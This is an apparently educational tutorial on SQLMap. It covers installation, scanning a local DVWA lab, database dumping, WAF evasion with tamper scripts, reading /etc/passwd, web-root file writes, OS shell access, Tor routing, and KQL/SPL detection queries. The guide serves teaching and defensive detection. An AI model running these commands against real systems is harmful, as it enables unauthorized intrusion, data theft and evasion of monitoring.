SQLMap Complete Tutorial 2026: Install, SQL Injection Testing & Automation

·

SQLMap is the tool every web pentester, bug-bounty hunter, and red-teamer reaches for the moment a parameter looks injectable. It is a Python-based, open-source engine that automates the whole SQL injection kill chain: detecting the vulnerability, fingerprinting the database, extracting data, and — where the target allows it — pivoting to file access and command execution. It speaks the dialects of MySQL, PostgreSQL, Microsoft SQL Server, Oracle, SQLite and dozens more.

This guide takes you from a clean machine to a working OS shell through a legal practice target. You will install SQLMap four ways (Kali package, source, pip/pipx, Docker), run and read your first scan, enumerate databases end to end, tune the --level/--risk/--technique triad, defeat a WAF with tamper scripts, and finish on the other side of the table with KQL and SPL to detect SQLMap in your own logs.

Authorization is not optional. Run SQLMap only against systems you own or have explicit written permission to test. Everything below assumes a lab you control or a scoped engagement.

◈ Table of Contents

01 What SQLMap Does 02 Prerequisites & Lab Setup 03 Method 1: Kali / Debian Package 04 Method 2: Git From Source 05 Method 3: pip / pipx & Docker 06 Your First Scan 07 Database Enumeration 08 Level, Risk & Technique Tuning 09 WAF Bypass, Shells & File Access 10 Detection, Troubleshooting & Maintenance 11 Sources & References
🧬

01 — What SQLMap Does

TOOL CONTEXT

A SQL injection happens when user-controlled input is concatenated into a database query instead of being passed as a bound parameter. SQLMap probes a target parameter with crafted payloads, watches how the response changes, and from those differences infers whether — and how — it can talk to the backend database. Once it confirms an injection point, it can read the database structure and contents character by character, entirely through the vulnerable web request. It supports five core injection classes and will pick whichever the target permits.

TechniqueFlag letterHow it worksWhen SQLMap uses it
Boolean-based blindBInjects TRUE/FALSE conditions and reads content differences in the pageNo error or data echoed, but page changes on true vs false
Error-basedEForces the DBMS to leak data inside an error messageVerbose database errors are returned to the client
UNION queryUAppends a UNION SELECT to pull data into the visible responseQuery results are rendered on the page
Stacked queriesSChains a second statement with ; — enables writes, os-shellDriver allows multiple statements (e.g. MSSQL, PostgreSQL)
Time-based blindTUses SLEEP/WAITFOR delays; reads data from response timingFully blind — no visible content or error difference

Why a defender should care about a "red team" tool: SQLMap is exactly what is hitting your applications right now. Understanding its request patterns, its default User-Agent, and the payload shapes it generates is the fastest way to write detections that actually fire. That is why this tutorial closes with hunt queries, not just attack commands.

🎯

Pentest & Bug Bounty

Confirm and exploit an injection point in seconds, then prove impact by extracting a benign proof row for the report — without hand-writing payloads for each DBMS.

🧪

Regression Testing

Re-run a saved SQLMap session against a fixed endpoint in CI to verify a patched parameter is no longer injectable before release.

🛡️

Detection Tuning

Generate real attack traffic in a lab to validate that your WAF rules, SIEM analytics, and app logs actually catch injection attempts.

📚

Training

Teach analysts what a live SQLi looks like on the wire — payloads, timing, and the tell-tale error strings the DBMS returns.

SQLMap is loud and destructive by default temperament. The --dump, --os-shell and --file-write features can alter data and drop files on a target. Never point it at production or third-party systems without written authorization and an agreed scope.

📋

02 — Prerequisites & Lab Setup

BEFORE YOU START

SQLMap itself is light — it is a set of Python scripts with no compiled dependencies. The only hard requirement is a working Python 3 interpreter. What you also need is a legal target. Do not learn on the open internet. Stand up a deliberately vulnerable app instead — this guide uses DVWA (Damn Vulnerable Web Application), which ships a textbook SQLi parameter.

RequirementMinimumRecommendedNotes
Python3.8 min3.11+ recModern SQLMap runs on Python 3; legacy 2.6/2.7 support is deprecated
OSAny Linux / macOS / WindowsKali Linux 2026Kali ships SQLMap pre-installed and patched
RAM1 GB2 GB+Threaded dumps of large tables use more memory
NetworkReachability to targetIsolated lab VLANKeep attacker and target on a NAT/host-only lab network
Practice targetDVWA / bWAPP / SQLi-labsDVWA via DockerOWASP Juice Shop and PortSwigger labs also work
OptionalBurp Suite / OWASP ZAPBurp CommunityCapture authenticated requests to feed SQLMap with -r
1
Stand Up a Legal Target with DVWA
Lab

The fastest safe target is DVWA in a container. It exposes a classic ?id= injection on the SQL Injection page. Run it on an isolated host and never expose port 8080 to the internet.

RUN DVWA (SINGLE CONTAINER)
$ docker run --rm -it -p 8080:80 vulnerables/web-dvwa # Browse http://localhost:8080 → login admin / password # Click "Create / Reset Database", then set DVWA Security to "Low"

Log in, click Create / Reset Database, then open DVWA Security and set the level to Low for your first run. You will raise it to Medium and High later to practise tamper scripts.

DVWA is intentionally broken. Bind it to localhost or a host-only network. An exposed DVWA instance is a real, exploitable foothold into your machine.

2
Grab an Authenticated Request
Cookie

DVWA requires a session cookie plus a security cookie. SQLMap needs both to reach the vulnerable page. Copy them from your browser's developer tools (Application → Cookies) or from a Burp-captured request.

THE TARGET URL + COOKIES YOU WILL REUSE
# Vulnerable endpoint: http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit # Cookies (yours will differ): PHPSESSID=abcdef0123456789abcdef0123; security=low

Instead of copying cookies by hand, capture the whole request in Burp (right-click → Copy to file) and hand the file to SQLMap with -r request.txt. It carries every header, cookie and POST body automatically.

🐉

03 — Method 1: Kali / Debian Package

STEP-BY-STEP
1
Confirm the Pre-Installed Copy (Kali)
Kali

Kali Linux ships SQLMap in the default kali-linux-default metapackage. Before installing anything, check whether it is already present and what version you have.

$ sqlmap --version # e.g. 1.9.x#stable $ which sqlmap # /usr/bin/sqlmap
2
Install or Update via APT
apt

On Debian, Ubuntu, Parrot or a minimal Kali build, install from the distribution repositories. Update the package index first so you get the current packaged release.

DEBIAN / UBUNTU / PARROT / KALI
$ sudo apt update $ sudo apt install -y sqlmap $ sqlmap --version

Distro packages can lag months behind upstream. Newer DBMS fingerprints, tamper scripts and bug fixes land in the Git repo first. For active engagements, prefer Method 2 (source) so you are never testing with a stale engine.

3
Smoke-Test the Install
Verify

Confirm the binary runs, Python resolves, and the help text renders. The --dependencies flag reports optional libraries for advanced features (e.g. connecting directly to a DBMS, or Metasploit integration).

$ sqlmap -h # condensed help $ sqlmap -hh # full help — every flag $ sqlmap --dependencies # check optional python libs
You Are Ready When
  • sqlmap --version prints a version and exits cleanly
  • sqlmap -hh lists Target, Request, Injection, Techniques sections
  • No "python: command not found" or import errors appear
📦

04 — Method 2: Git From Source (All OS)

STEP-BY-STEP
1
Clone the Official Repository
git

This is the maintainers' recommended method and always gives you the newest engine. A shallow clone keeps the download small. Works identically on Linux, macOS and Windows (WSL or native).

$ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev $ cd sqlmap-dev $ python3 sqlmap.py --version

The Git version is the same code the developers run. Keep it updated in one step: cd sqlmap-dev && git pull. No reinstall, no package manager.

2
Run It — And Make a Shortcut
alias

From a source clone you invoke python3 sqlmap.py rather than a global sqlmap command. Add a shell alias so the rest of this guide's commands work verbatim.

ADD AN ALIAS (BASH / ZSH)
$ echo "alias sqlmap='python3 $HOME/sqlmap-dev/sqlmap.py'" >> ~/.bashrc $ source ~/.bashrc $ sqlmap --version # now works from any directory
WINDOWS (POWERSHELL)
PS> git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git PS> cd sqlmap PS> python .\sqlmap.py --version
3
Keep It Current
Update

SQLMap has a built-in updater that pulls the latest commit when run from a Git checkout. Either flag works; both fast-forward your clone.

$ sqlmap --update # or, straight from git: $ cd ~/sqlmap-dev && git pull

--update only works on a Git clone. If you installed via apt or pip, the flag will refuse to run. Update through the same channel you installed with.

🐳

05 — Method 3: pip / pipx & Docker

STEP-BY-STEP
1
Install via pipx (Isolated, Recommended for pip users)
pipx

On modern Linux, PEP 668 blocks a system-wide pip install. pipx installs SQLMap into its own virtual environment and drops a global sqlmap command onto your PATH — clean and reversible.

$ sudo apt install -y pipx # or: python3 -m pip install --user pipx $ pipx ensurepath $ pipx install sqlmap $ sqlmap --version
PLAIN PIP (INSIDE A VENV)
$ python3 -m venv ~/.venv-sqlmap && source ~/.venv-sqlmap/bin/activate $ pip install sqlmap $ sqlmap --version
2
Build a SQLMap Docker Image
Dockerfile

A container keeps the tool and its Python runtime off your host entirely — handy for CI runners or a shared jump box. There is no official image, so build a tiny one from the source repo.

Dockerfile
FROM python:3.12-slim RUN apt-get update && apt-get install -y --no-install-recommends git \ && git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git /opt/sqlmap \ && apt-get purge -y git && rm -rf /var/lib/apt/lists/* WORKDIR /work ENTRYPOINT ["python", "/opt/sqlmap/sqlmap.py"]
BUILD & RUN
$ docker build -t sqlmap:latest . $ docker run --rm -it -v "$PWD/output:/work/output" sqlmap:latest --version # -v mounts a host folder so extracted data + session survive the container
3
Full Practice Lab with docker-compose
compose

This compose file stands up the whole range in one command: a DVWA target and the SQLMap image on a shared, isolated network. From the SQLMap container, the target is reachable as http://dvwa.

docker-compose.yml
services: dvwa: image: vulnerables/web-dvwa container_name: dvwa ports: - "127.0.0.1:8080:80" # bound to localhost only networks: - sqlilab sqlmap: build: . container_name: sqlmap depends_on: - dvwa volumes: - "./output:/work/output" networks: - sqlilab entrypoint: ["sleep", "infinity"] # stay up; exec in on demand networks: sqlilab: driver: bridge
BRING IT UP & DROP INTO SQLMAP
$ docker compose up -d $ docker compose exec sqlmap python /opt/sqlmap/sqlmap.py --version # target the DVWA service by its compose hostname: $ docker compose exec sqlmap python /opt/sqlmap/sqlmap.py \ -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --batch

Binding the DVWA port to 127.0.0.1:8080 (not 0.0.0.0) means only your own machine can reach the deliberately vulnerable app. This one prefix is the difference between a lab and an incident.

🚀

06 — Your First Scan

HANDS-ON

Every SQLMap command is built the same way: point it at a target with -u, supply whatever the request needs (cookies, POST data, headers), then tell it what to do. The anatomy below is worth memorising — every other command in this guide is a variation on it.

TARGET → REQUEST CONTEXT → BEHAVIOUR FLAGS → ACTION

1
Detect the Injection
Detect

Start minimal: give SQLMap the URL and the cookies, and add --batch so it answers its own prompts with sensible defaults. It will test the id parameter and report which techniques land.

$ sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=abcdef0123456789abcdef0123; security=low" \ --batch
WHAT A CONFIRMED HIT LOOKS LIKE
[INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable [INFO] GET parameter 'id' is 'MySQL >= 5.0 error-based ... ' injectable [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable [INFO] the back-end DBMS is MySQL

Once a parameter is confirmed, SQLMap caches the result in a session file so subsequent commands skip re-detection and jump straight to the data.

2
Target the Right Parameter & Method
POST / -p

For POST forms, pass the body with --data and SQLMap flips to POST automatically. Use -p to test only one parameter when a request has many, which is faster and quieter.

POST REQUEST, TEST ONLY THE 'uid' PARAMETER
$ sqlmap -u "http://target.lab/login" \ --data="uid=admin&password=test" \ -p uid --batch
MARK AN INJECTION POINT MANUALLY WITH *
$ sqlmap -u "http://target.lab/item/1*/detail" --batch # the * tells SQLMap to inject at that exact spot in a REST-style path
3
Feed a Full Request from Burp / ZAP
-r

The cleanest way to handle authenticated, header-heavy, or JSON endpoints is to save the raw HTTP request to a file and hand it over with -r. SQLMap parses every header, cookie and body field, and tests them all.

request.txt (SAVED FROM BURP)
POST /api/search HTTP/1.1 Host: target.lab Cookie: session=eyJ...; role=user Content-Type: application/json Content-Length: 27 {"q":"laptop","page":1}
$ sqlmap -r request.txt -p q --batch # For JSON, mark the field with * inside the file if auto-detect misses it

Add -v 3 to any command to print the exact payloads SQLMap sends. It is the best way to learn what a boolean, error, union or time payload actually looks like on the wire.

🗄️

07 — Database Enumeration

EXTRACTION

With an injection confirmed, enumeration walks down the hierarchy: server banner → databases → tables → columns → rows. Run these in order; each command reuses the cached session so nothing is re-detected. Every flag below is additive — combine them freely.

GoalFlagWhat it returns
Fingerprint--bannerDBMS name and exact version string
Current context--current-user --current-dbDB user and active database
Privilege check--is-dbaWhether the DB user is an administrator
List databases--dbsAll databases the user can see
List tables--tables -D dvwaTables inside a chosen database
List columns--columns -T users -D dvwaColumn names + types of a table
Dump rows--dump -T users -D dvwaThe actual data
Dump creds--passwordsDB user password hashes (if privileged)
1
Fingerprint and Map the Server
Recon

Chain the low-noise identity checks first. Knowing the DBMS, the current user, and whether that user is a DBA shapes every decision that follows — a DBA opens up file and OS access; a low-priv user does not.

$ sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=...; security=low" \ --banner --current-user --current-db --is-dba --batch
Typical Output
  • banner: 5.7.x-log MySQL Community Server
  • current user: dvwa@localhost
  • current database: dvwa
  • current user is DBA: False
2
Enumerate Databases, Tables & Columns
Structure

Descend the hierarchy. Narrow with -D (database) and -T (table) so you only extract what matters instead of dumping the whole server.

LIST ALL DATABASES
$ sqlmap -u "...?id=1&Submit=Submit" --cookie="..." --dbs --batch
LIST TABLES IN THE 'dvwa' DATABASE
$ sqlmap -u "...?id=1&Submit=Submit" --cookie="..." -D dvwa --tables --batch
LIST COLUMNS IN 'users'
$ sqlmap -u "...?id=1&Submit=Submit" --cookie="..." -D dvwa -T users --columns --batch
3
Dump the Data (Surgically)
Dump

Extract specific columns rather than whole tables. In a real engagement you dump the minimum needed to prove impact — a single row, or just the username and hash columns — not the entire customer table.

DUMP ONLY user + password COLUMNS
$ sqlmap -u "...?id=1&Submit=Submit" --cookie="..." \ -D dvwa -T users -C user,password --dump --batch
LIMIT ROWS + FILTER WITH --where
$ sqlmap -u "..." --cookie="..." -D dvwa -T users \ --dump --start=1 --stop=1 --where="user='admin'" --batch

SQLMap recognises common hash formats during a dump and will offer to crack them against a built-in dictionary. Extracted data is written to CSV under the output directory, keyed by target host.

--dump-all pulls every database on the server, including system schemas, and can run for hours against a large target. Scope your dumps. Mass extraction of real data may exceed your engagement's rules of engagement.

4
Interactive SQL & Session Reuse
--sql-shell

For ad-hoc queries, drop into an interactive SQL shell that runs each statement through the injection point. And because SQLMap caches everything, you can pause and resume long jobs at will.

$ sqlmap -u "..." --cookie="..." --sql-shell --batch sql-shell> SELECT current_user(); sql-shell> SELECT COUNT(*) FROM users;
RESUME OR RESET A SESSION
$ sqlmap -u "..." --cookie="..." --dbs # resumes from cache $ sqlmap -u "..." --cookie="..." --dbs --flush-session # start clean

Long dump interrupted by a dropped connection? Just re-run the same command. SQLMap picks up exactly where it stopped thanks to the per-target session and results cache.

🎚️

08 — Level, Risk & Technique Tuning

CONTROL

Defaults are deliberately conservative to stay fast and safe. When a parameter looks injectable but the default run finds nothing, you widen the search with --level and --risk, or force a specific --technique. Understanding this triad is what separates a novice from someone who finds the injection everyone else missed.

FlagRange (default)EffectTrade-off
--level1–5 (1)How many injection points to test (adds cookies at 2, headers/User-Agent at 3+)Higher = far more requests, slower, louder
--risk1–3 (1)Which payloads are allowed (risk 3 adds OR-based and heavy time-based tests)Risk 3 OR-payloads can update rows — dangerous on writes
--techniqueBEUSTQ (all)Restrict to specific injection classesNarrowing speeds runs and avoids noisy tests
--threads1–10 (1)Parallel requests during data retrievalFaster dumps, but more load and easier to detect
--time-secseconds (5)Delay threshold for time-based blindRaise on laggy networks to cut false positives
1
Widen the Search with Level & Risk
Depth

If a quick scan comes up empty, raise the level to test cookies and headers, and the risk to allow heavier payloads. This is the standard "second pass" when you suspect an injection the defaults skipped.

$ sqlmap -u "http://target.lab/view?id=1" \ --level=5 --risk=3 --batch

--risk 3 enables OR-based payloads such as OR 1=1. On an UPDATE or DELETE endpoint that can rewrite every row in a table. Never use risk 3 blindly against write-capable parameters.

2
Force a Technique & DBMS
Precision

When you already know the backend, tell SQLMap. Restricting the technique and naming the DBMS cuts the request count dramatically and avoids wasting time on tests that cannot succeed.

TIME-BASED BLIND ONLY, KNOWN MYSQL BACKEND
$ sqlmap -u "http://target.lab/view?id=1" \ --technique=T --dbms=mysql --time-sec=10 --batch
UNION + ERROR ONLY, KNOWN MSSQL BACKEND
$ sqlmap -u "http://target.lab/view?id=1" \ --technique=UE --dbms="Microsoft SQL Server" --batch
3
Speed vs Stealth
Throttle

Threads accelerate data retrieval; delays and randomised agents slow you down to stay under rate-based detection. Pick a lane based on whether you are racing a lab clock or evading a SOC.

FAST (LAB)
$ sqlmap -u "..." --dump -D dvwa -T users --threads=10 --batch
SLOW & QUIET (ENGAGEMENT)
$ sqlmap -u "..." --dump -D dvwa -T users \ --delay=2 --randomize=id --random-agent --batch

--random-agent swaps the default "sqlmap/1.x" User-Agent for a real browser string. Leaving the default UA in place is the single most common way blue teams catch a scan instantly — see phase 10.

💥

09 — WAF Bypass, Shells & File Access

ADVANCED

This is where a confirmed injection becomes real impact — and where a WAF sits between you and the database. SQLMap's tamper scripts mutate payloads to slip past filters, while its OS and file features (available only when privileges and the DBMS allow) turn data access into system access. Raise DVWA's security level to Medium or High to practise the tamper workflow.

1
Detect & Bypass a WAF with Tamper Scripts
--tamper

SQLMap can detect a WAF/IPS with --identify-waf, then reshape payloads with one or more tamper scripts. List every script with --list-tampers; chain them left-to-right with commas.

LIST TAMPERS + IDENTIFY THE WAF
$ sqlmap --list-tampers $ sqlmap -u "http://target.lab/view?id=1" --identify-waf --batch
CHAIN TAMPERS TO EVADE FILTERING
$ sqlmap -u "http://target.lab/view?id=1" \ --tamper=space2comment,between,randomcase,charencode \ --random-agent --level=5 --risk=2 --batch
Tamper scriptWhat it does
space2commentReplaces spaces with /**/ C-style comments
betweenRewrites >/= using BETWEEN ... AND
randomcaseRandomises keyword casing (SeLeCt) to defeat static signatures
charencodeURL-encodes characters to slip weak input filters
modsecurityversionedWraps the query in MySQL versioned comments to bypass ModSecurity

There is no universal tamper combo. Start with --identify-waf, then test small chains. space2comment plus randomcase defeats a surprising number of default signature sets; add DBMS-specific scripts only once you know the backend.

2
Read & Write Files on the Database Host
--file-*

If the DB user has file privileges (e.g. MySQL FILE, or MSSQL/PostgreSQL equivalents), SQLMap can read arbitrary files and, where secure_file_priv allows, write to the web root — a classic path to a web shell.

READ A FILE
$ sqlmap -u "..." --file-read="/etc/passwd" --batch
WRITE A FILE TO THE WEB ROOT
$ sqlmap -u "..." \ --file-write="./probe.txt" --file-dest="/var/www/html/probe.txt" --batch

File-write to a web-accessible directory is functionally remote code execution once the file is a script. Treat this capability as high-impact: get explicit written sign-off, use a harmless marker file to prove access, and clean up afterwards.

3
Escalate to an OS Shell
--os-shell

When stacked queries and privileges align, --os-shell deploys a stager through the injection and hands you an interactive command prompt on the database server. --os-cmd runs a single command non-interactively.

$ sqlmap -u "..." --os-shell --batch os-shell> whoami os-shell> hostname
SINGLE COMMAND
$ sqlmap -u "..." --os-cmd="id" --batch

--os-shell writes helper stagers (and on some stacks a UDF) to disk to achieve execution. These artifacts persist unless removed. Document what was dropped and remove it as part of engagement cleanup.

4
Routing Through a Proxy & Tor
--proxy

Send SQLMap traffic through Burp to inspect and log every request, or through Tor to rotate source addresses. Proxying through Burp is invaluable for understanding exactly what the tool sends.

THROUGH BURP (INSPECT EVERY REQUEST)
$ sqlmap -u "..." --proxy="http://127.0.0.1:8080" --batch
THROUGH TOR
$ sqlmap -u "..." --tor --tor-type=SOCKS5 --check-tor --batch
5
Crawl, Forms & Google Dorks
Scope

SQLMap can discover its own targets: crawl a site to a given depth, auto-submit forms, or (in a lab) seed from a search dork. Use these to broaden coverage across an in-scope application.

$ sqlmap -u "http://target.lab/" --crawl=2 --forms --batch # crawl 2 levels deep and test any discovered forms
$ sqlmap -m targets.txt --batch # -m runs a whole list of URLs from a file, one per line

Save every finding as a repeatable job: append --output-dir=./engagement and archive that folder. The session, logs and dumped CSVs together are your evidence trail for the report.

🛠️

10 — Detection, Troubleshooting & Maintenance

BLUE + OPS

A CyberHawk tutorial does not stop at the attack. Here is how to catch SQLMap in your own telemetry, and how to fix the errors that trip people up most. SQLMap is noisy: it sends hundreds to thousands of requests to one parameter, its default User-Agent literally contains the string sqlmap, and its payloads carry recognisable syntax. All three are detectable.

1
Detect SQLMap — KQL (Sentinel / Log Analytics)
Hunt

This query flags the default SQLMap User-Agent and classic injection markers in web request logs, plus a volumetric burst from a single client to a single URI. Adjust the table name to your web-log source.

DETECTS: default sqlmap User-Agent and SQLi payload keywords in inbound web requests
AzureDiagnostics | where Category == "ApplicationGatewayAccessLog" | where userAgent_s has "sqlmap" or requestUri_s has_any ("UNION SELECT","AND 1=1","SLEEP(","/**/","CONCAT(") | summarize hits=count(), uris=dcount(requestUri_s), by clientIP_s, bin(TimeGenerated, 5m) | where hits > 50 | order by hits desc
DETECTS: single client hammering one parameter — volumetric injection sweep
AzureDiagnostics | where Category == "ApplicationGatewayAccessLog" | summarize reqs=count() by clientIP_s, requestUri_s=tostring(split(requestUri_s,"?")[0]), bin(TimeGenerated, 1m) | where reqs > 100 | order by reqs desc
2
Detect SQLMap — SPL (Splunk)
Hunt

The Splunk equivalents: one search on the User-Agent and payload signatures, one on request volume per source. Point them at your web-access sourcetype.

DETECTS: sqlmap User-Agent and injection payload strings in access logs
index=web sourcetype=access_combined (useragent="*sqlmap*" OR uri_query="*UNION*SELECT*" OR uri_query="*SLEEP(*" OR uri_query="*/**/*") | stats count AS hits, dc(uri_path) AS uris BY src_ip | where hits > 50 | sort - hits
DETECTS: burst of requests from one source to one endpoint (blind-SQLi character extraction)
index=web sourcetype=access_combined | bucket _time span=1m | stats count AS reqs BY _time, src_ip, uri_path | where reqs > 100 | sort - reqs

Time-based blind injection is stealthy on volume but obvious on latency: hundreds of requests to one URI that each take ~5s or ~10s (your --time-sec value) is a near-perfect signature. Alert on response-time clustering, not just request count.

3
Common Errors & Fixes
Troubleshoot

Most "SQLMap isn't working" problems are request-context issues, not the tool. This table covers the ones that account for the majority of failed first scans.

SymptomLikely causeFix
"all tested parameters do not appear to be injectable"Defaults too shallow, or wrong parameterAdd --level=5 --risk=3; confirm the right -p
302 redirect to loginSession cookie expired or missingRe-capture cookie; add --cookie or use -r request.txt
403 / 406 on every payloadWAF blocking--identify-waf then --tamper + --random-agent
"unable to connect to the target URL"Host unreachable / wrong schemeCheck reachability; add --force-ssl or fix the URL
Time-based false positivesLaggy or jittery networkRaise --time-sec=10; reduce --threads
CSRF token rejects requestsAnti-CSRF token per request--csrf-token=NAME --csrf-url=URL
Stale results after a fixCached session--flush-session or --fresh-queries
4
Maintenance & Hygiene
Ops

Keep the engine current, know where your loot lands, and wipe engagement data when the report is delivered. Output (sessions, logs, CSV dumps) is stored per target under the SQLMap output directory.

$ sqlmap --update # pull latest (git installs) $ ls ~/.local/share/sqlmap/output/ # per-target results (modern default) $ sqlmap --purge --output-dir=./engagement # securely wipe stored data
Engagement Hygiene Checklist
  • Update the engine before every engagement (--update / git pull)
  • Scope dumps — extract proof rows, not whole databases
  • Record any files/stagers written by --file-write or --os-shell and remove them
  • Archive the output dir as evidence, then --purge sensitive data at close-out
📚

11 — Sources & References

DOCUMENTATION

Primary documentation and reference material used in this guide. The official wiki and usage pages are the authoritative source for every flag and are updated with each release.

SQLMap — Official Source Repository (github.com/sqlmapproject/sqlmap) SQLMap Wiki — Complete Usage & Flag Reference SQLMap Wiki — Introduction & Techniques Overview Kali Linux Tools — sqlmap Package Page OWASP — SQL Injection (Attack Reference) OWASP Web Security Testing Guide — Injection Testing DVWA — Damn Vulnerable Web Application (practice target) PortSwigger Web Security Academy — SQL Injection

Test like an attacker, detect like a defender.

SQLMap will find the injection — but the parameter should never have been vulnerable in the first place. Run your applications through CyberHawk's IOC Scanner and Live Tools, and pair this guide with our SQL Injection: Advanced Techniques deep dive for the manual side of the craft. For structured response playbooks, see our SOP library.

◈ Stay Connected

Follow CyberHawk Threat Intel for threat intelligence, deployment guides and hands-on SOC tooling content.

🌐 Website ▶️ YouTube ▶️ YouTube (2) 𝕏 Twitter / X ♪ TikTok ✈️ Telegram
🔍 IOC Scanner 🛠️ Live Tools 📚 Courses 🚨 Threat Intel 📝 Blog 📋 SOPs

"They can't exploit you if you are the Exploit."